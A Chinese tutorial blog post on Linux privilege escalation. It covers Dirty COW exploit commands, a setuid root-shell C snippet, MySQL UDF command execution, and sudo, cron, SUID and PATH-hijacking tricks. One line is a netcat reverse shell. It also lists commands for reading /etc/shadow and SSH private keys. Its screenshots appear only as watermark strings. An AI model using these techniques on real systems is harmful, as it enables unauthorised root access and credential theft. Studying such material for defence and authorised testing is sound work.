关于linux权限提升的一些方法

2021/6/19 7:32:13

本文主要是介绍关于linux权限提升的一些方法,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

No.1

权限提升主要目的

读取敏感文件(配置文件、密码文件),获得敏感信息(账户密码、用户数据),为进一步权限维持做准备(避免管理员修复你进来的漏洞入口,完成相关权限维持也就多了一次再进来的机会)

No.2

适用条件

目标系统有了shell,但可能是个普通用户,并不是root权限,而且也读不了啥敏感文件比如shadow

才疏学浅,本着学习的心向各位前辈进行学习,这边就先放了一些常用思路,其他一些linux权限基础、linux提权的信息收集补充在的文末,大佬们可自行翻阅。

No.3

常用的一些方式

内核提权:

所需条件:脆弱的内核;匹配的 exp;将 exp 转移到目标的能力;在目标上执行 exp 的能力,其实最主要还是根据相关内核版本,编译已有的exp进行提权,感觉特别新的内核不太好搞提权.......
查看linux内核相关信息与发行版本

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

两个辅助检测脚本,这边检测出了脏牛
https://github.com/mzet-/linux-exploit-suggester
https://github.com/jondonas/linux-exploit-suggester-2

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

Kali进行搜索

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

注意:
避免首先运行任何提权exp!!!目标机器可能会崩溃,公开的许多***都不稳定,可能会有rootshell但是系统随后会崩溃......
更多姿势可见Github:
https://github.com/SecWiki/linux-kernel-exploits
https://github.com/lucyoa/kernel-exploits
https://github.com/xairy/kernel-exploits
以脏牛提权为案例:
利用工具:

https://codeload.github.com/FireFart/dirtycow/zip/master
原权限,shadow是读不到的:

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

使用编译后的exp进行提权,这边会新建了个账户:
[test@testyang ~]$ gcc -pthread dirty.c -o dirty -lcrypt
[test@testyang ~]$ ./dirty 111111
可读取shadow文件:

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

低内核提权
前提:目标目录具有777权限

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

上图主要流程思路:
进入/tmp创建exploit目录,查看ping命令权限,创建文件硬链接并查看权限,将文件加载入内存并查看状态,删除文件后查看状态,创建一个c语言代码,gcc编译后即可获得权限
使用的C语言代码:
void __attribute__((constructor)) init() { 

    setuid(0); system("/bin/bash");

}

明文root密码权限:

linux系统的密码大部分都和/etc/passwd和/etc/shadow这两个配置文件息息相关,passwd里面储存了用户,shadow里面是密码的hash,正常情况下shadow是仅root可读写的
/etc/passwd文件:

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

passwd由冒号分割,第一列是用户名,第二列是密码,x代表密码hash被放在shadow里面了(这样非root就看不到了),而shadow里面最重要的就是密码的hash
/etc/shadow文件:

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

查看文件权限:

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

如果passwd可写,我们就可以把root的密码字段替换成一个已知密码的hash(比如本地虚拟机shadow里面的已知的root密码的hash),这样系统在验证密码时以passwd的为准,密码就已知了
如果shadow可读,直接获得root账户hash用john进行解密即可,和词典有关,感觉大部分时候解不出来..........

***以root权限运行的服务:

查看root用户运行的服务

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

这里以数据库为案例
exp: https://www.exploit-db.com/exploits/1518
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
具体地址通过ps aux查看mysql进程可以找到
create function do_system returns integer soname 'raptor_udf2.so';
select * from mysql.func;
最终获得相关root权限:
select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

sudo提权:

利用条件:
sudo的版本号<1.8.28;知道当前用户的密码;当前用户存在于sudo权限列表
当/etc/sudoers文件存在如下形式的配置会导致漏洞的产生(这种情况不会特别多)
user ALL=(ALL, !root) ALL
允许user用户以非 root 权限之外的所有用户权限运行命令,也就是说user用户拥有root权限以外的所有权限

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

修改配置文件,添加相应内容

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

提权后效果如下,成功读到shadow文件:

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

计划任务利用:

生成环境里边部署的linux系统可能有一些计划任务,一般这些任务由crontab来管理,具有所属用户的权限,非root权限的用户是不可以列出root用户的计划任务的,但是/etc/内系统的计划任务可以被列出

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写的管理员,我们就可以修改脚本等回连rootshell了
假设root调用某个脚本/tmp/te.py每分钟进行执行,非root账户对能够对文件如下修改,直接写了个反弹shell:

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

查看运行日志,确保每分钟都在运行了..

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

nc监听收到反弹shell如下

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

SUID提权:

SUID代表“执⾏时设置⽤⼾ID”,具有该标志位的⽂件在执⾏时,运行的uid变为属主⾝份,其实就是如果⼀个程序属主是root,并具有suid标志位,其他用户运行时uid会临时变为root
查看原权限

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

赋予s的权限(chmod u+s)后查看新创建文件的权限

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

已知常见的可用来提权的linux可行性的文件列表如下:

nmap
vim
find
bash
more
less
nano
cp

除此之外,还可以通过发现系统上运行的所有SUID可执行文件进行进一步利用:
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
find / -uid 0 -perm -4000 -type f 2>/dev/null
查看具有root用户权限的suid文件并利用,利用nmap,这边用的是个老版本的nmap:

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

输入反弹shell命令如下:

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

其他利用举例,环境暂时没加权限,可自行琢磨尝试

Find:

touch test
find test -exec whoami \;
find test -exec bash -p \;
find test -exec /bin/sh \;
find test -exec nc -e /bin/sh IP 端口 \;
find test -exec netcat -lvp 端口 -e /bin/sh \;

vim:

编辑/etc/shadow 或者进入vim后启动sh交互
:set shell=/bin/sh
:shell
也可以vim -c '!sh

bash:

bash -p

less:

less /etc/passwd
!/bin/sh

More:

more /home/pelle/myfile
!/bin/bash

劫持环境变量提权:

感觉也可以做成权限维持,通过低权限用户登录上主机调用相关命令获得rootshell:
当前位于/home/bee/testt内编写一个c程序调用系统二进制文件的函数,调用ps命令:

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

使用gcc编译.c的文件并提升suid权限:
gcc demo.c -o dede

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

低权限用户查找suid权限,发现我们制作的文件:

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

进入相关目录发现之前生成的文件并运行:

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

结合echo:

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

结合copy:

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

同理读取文件如下

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

补充内容:

都是一些基础知识整理,感觉一些信息收集的点还是挺有用的,大佬们可以选择性翻阅

Linux权限介绍:

Linux操作系统对多用户的管理,是非常繁琐的,所以用组的概念来管理用户就变得简单,每个用户可以在一个独立的组,每个组也可以有零个用户或者多个用户
用户是根据用户ID来识别的,默认ID长度为32位,从默认ID编号从0开始,但是为了和老式系统兼容,用户ID限制在60000以下,Linux用户分总共分为三种,分别如下:
root用户 ID 0
系统用户ID 1-499
普通用户ID 500以上
Linux系统中的每个文件或者文件夹,都有一个所属用户及所属组,使用id命令可以显示当前用户的信息,root账户为0,这里的普通用户为1000

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

Linux操作系统用户的特点如下:

每个用户拥有一个UserID,操作系统实际读取的是UID,而非用户名;
每个用户属于一个主组,属于一个或多个附属组,一个用户最多有31个附属组;
每个组拥有一个GroupID;
每个进程以一个用户身份运行,该用户可对进程拥有资源控制权限;
每个可登陆用户拥有一个指定的Shell环境。

Linux文件权限位:

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

第一位:代表文件类型,普通文件为-,目录为d,软连接为l,字符设备为c,块文件为b

第一组:文件拥有者的权限,rwx(读写执行),rw(读写),x(执行),以此类推,rwx转换为数字分别对应421,rwx位置不会改变,若无权限则用-替换
第二组:所在组用户的权限,同理如上
第三组,其他用户的的权限,同理如上
数字:若文件为普通文件,表示文件的硬链接(软链接不会增加数字),若文件未目录,表示目录下的子目录数量
第一个root:文件所有者为root
第二个root:文件所在组为root组
一串数字:文件大小
日期:最后的修改日期
最后一列:文件的名字

权限提升前的信息收集:

这里列举部分常见敏感文件路径信息,供学习及参考:
系统版本:

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

内核版本:

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

环境变量:

cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

运行服务:

ps aux
ps -ef
top
cat /etc/service

查root权限服务:

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

查询安装的应用及版本,哪些当前运行:

ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/

服务配置,有无错误配置,寻找脆弱项:

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf

查看计划任务:

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

历史记录查看:

cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

主机上可能有哪些纯文本用户名与密码:

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]

查看网络连接情况:

/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

查看网络配置,与网络中服务器:

cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname

敏感文件查看:

cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/
ls -ahlR /root/
ls -ahlR /home/
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root
private-key
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

日志信息查看:

cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/

感谢大佬看到文末,感谢翻阅。



这篇关于关于linux权限提升的一些方法的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程